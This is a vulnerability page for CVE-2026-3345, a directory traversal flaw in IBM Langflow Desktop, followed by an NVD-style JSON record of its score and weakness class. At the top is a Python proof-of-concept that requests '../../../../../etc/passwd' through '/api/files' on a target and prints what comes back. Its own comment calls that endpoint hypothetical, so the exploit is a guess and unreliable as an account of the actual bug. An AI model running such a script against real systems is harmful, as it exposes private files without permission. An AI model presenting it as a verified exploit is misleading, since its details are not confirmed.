CVE-2026-3345

import requests # CVE-2026-3345 Proof of Concept # Target: IBM Langflow Desktop <= 1.8.4 # Description: This script attempts to exploit a directory traversal vulnerability # to read a sensitive file (e.g., /etc/passwd on Linux). target_base_url = "http://target-ip:port" # Replace with actual target URL vulnerable_endpoint = "/api/files" # Hypothetical vulnerable endpoint payload = "../../../../../etc/passwd" # Directory traversal payload full_url = f"{target_base_url}{vulnerable_endpoint}/{payload}" try: response = requests.get(full_url) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3345", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.337", "lastModified": "2026-05-11T17:05:14.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow Desktop <=1.8.4 Langflow could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow_desktop:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.4", "matchCriteriaId": "8A5CBB9F-3D40-4752-AF98-A6B303F8690D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7271094", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}